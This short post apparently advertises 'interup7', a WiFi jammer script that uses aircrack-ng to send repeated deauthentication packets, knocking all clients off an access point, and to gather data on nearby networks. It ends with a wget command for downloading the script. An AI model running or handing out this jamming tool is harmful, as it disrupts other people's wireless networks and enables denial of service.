interup7 WiFi Jammer

interup7 is a script that uses the aircrack-ng package for repeated deauthentication packets sending, this cause all the clients to be disconnected from the AP. Another thing that the script does, is to obtain information about the APs and the client around the attacker and puts it into useful data. In addition there is an option to set time for the script to run.

To get the script you can use:

wget http://hackingdefined.org/tools/interap7.sh
